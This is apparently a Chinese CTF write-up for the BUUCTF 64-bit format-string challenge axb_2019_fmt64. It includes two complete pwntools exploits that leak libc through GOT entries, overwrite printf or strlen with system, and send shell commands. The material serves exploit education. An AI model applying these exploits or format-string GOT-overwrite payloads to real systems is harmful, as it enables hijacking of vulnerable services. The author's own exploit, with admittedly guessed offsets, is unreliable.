axb_2019_fmt64
前言:
本来这道题很简单的,但是还是写了我好长时间,为什么我本地是打通了,但是为什么远程是打不通的,这就很难理解了。
题目
1.首先还是checksec一下

只开启nx保护,RELRO部分开启,证明got表可写。
2.ida反编译

这里有一个非常明显的格式化字符串漏洞
3.接着找一下偏移,可以看到偏移是8

下面可以泄露libc基址了,计算system
一开始打算libc是这样泄露的payload = p64(puts_got)+”%08$s”,失败了,动调发现被/x00截断了,64位都有这个情况,
关于64位格式化字符串利用,可以看这篇文章,建议先看一下这篇文章,64位跟32位的关于格式化字符串漏洞的利用有点不一样。
64位格式化字符串漏洞修改got表利用详解-安全KER - 安全资讯平台
这样的话,payload就要修改成如下,补齐8字节,是为了完整的占用一个偏移,给下面的puts_got泄露构造条件
1 2
| payload=b'%9$s'.ljust(8,b'a') payload += p64(puts_got)
|

可以看到puts的libc地址泄露出来了
现在计算libc基址

x/gx计算偏移

下面就是将printf的地址修改为system的got地址,具体exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| libc_base = puts_addr - 0x6f5d0 system = libc_base + libc.symbols['system'] - 16
log_addr('libc_base') log_addr('system')
low = system & 0xffff high = (system >> 16) & 0xff
payload = '%' + str(high-9) + 'c%12$hhn' payload += '%' + str(low-high) + 'c%13$hn' payload = payload.encode().ljust(32, b'a') + p64(printf_got+2) + p64(printf_got)
sleep(0.1) p.send(payload)
|
这里的偏移我是瞎写的,但是在栈中是可以看到正确的偏移的,所以这里的正确偏移是12,13


至于这里为什么是system-16,在调试中发现printf修改的是system+16的地址,直接减16就好。

很奇怪为什么我手搓改的是正确的,但是不对,这个效果是正确的,在本地是可以打通的,难以理解了。正确的exp可以看Albert Kesselring师傅的exp。

exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from tools import * from time import *
context(os='linux',arch='amd64',log_level='debug')
p=process('./fmt64')
elf = ELF("./fmt64") libc = ELF("./buu16-64.so")
sprintf_got = elf.got['sprintf'] printf_got = elf.got['printf'] puts_got = elf.got['puts'] strlen_got = elf.got['strlen']
payload=b'%9$s'.ljust(8,b'a') payload += p64(puts_got)
p.recvuntil("Please tell me:") p.send(payload)
p.recvuntil('Repeater:')
leak = p.recv(6) puts_addr = u64(leak.ljust(8, b'\x00')) log_addr('puts_addr')
libc_base = puts_addr - 0x6f5d0 system = libc_base + libc.symbols['system'] - 16
log_addr('libc_base') log_addr('system')
low = system & 0xffff high = (system >> 16) & 0xff
payload = '%' + str(high-9) + 'c%12$hhn' payload += '%' + str(low-high) + 'c%13$hn' payload = payload.encode().ljust(32, b'a') + p64(printf_got+2) + p64(printf_got)
sleep(0.1) p.send(payload)
sleep(0.1) payload3 = ';/bin/sh\x00'
p.sendafter("Please tell me:",payload3)
sleep(0.1)
p.interactive()
p.close()
|
效果图:

Albert Kesselring师傅的exp
这里附上Albert Kesselring师傅的exp,师傅还是太强大了,这个exp远程可以打通的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import * context.arch='amd64' p=remote('node5.buuoj.cn',26619)
elf = ELF("./axb_2019_fmt64") libc=ELF('/home/gwht/Downloads/libc6_2.23-0ubuntu11_amd64.so')
payload=b'ZXD%11$s^%12$s^%13$s----'+p64(elf.got['memset'])+p64(elf.got['read'])+p64(elf.got['sprintf'])
p.send(payload) p.recvuntil('ZXD') memset=u64(p.recvn(6).ljust(8,b'\x00')) p.recvn(1) read=u64(p.recvn(6).ljust(8,b'\x00')) p.recvn(1) sprintf=u64(p.recvn(6).ljust(8,b'\x00')) log.success(hex(memset)) log.success(hex(read)) log.success(hex(sprintf)) libc_addr=sprintf-libc.sym['sprintf'] log.success(hex(libc_addr)) system=libc_addr+libc.sym['system'] log.success(hex(system)) payload=fmtstr_payload(8,{elf.got['strlen']:libc_addr+libc.sym['system']},numbwritten=9)
p.send(payload) payload=';$0;cat flag' p.send(payload)
p.interactive()
|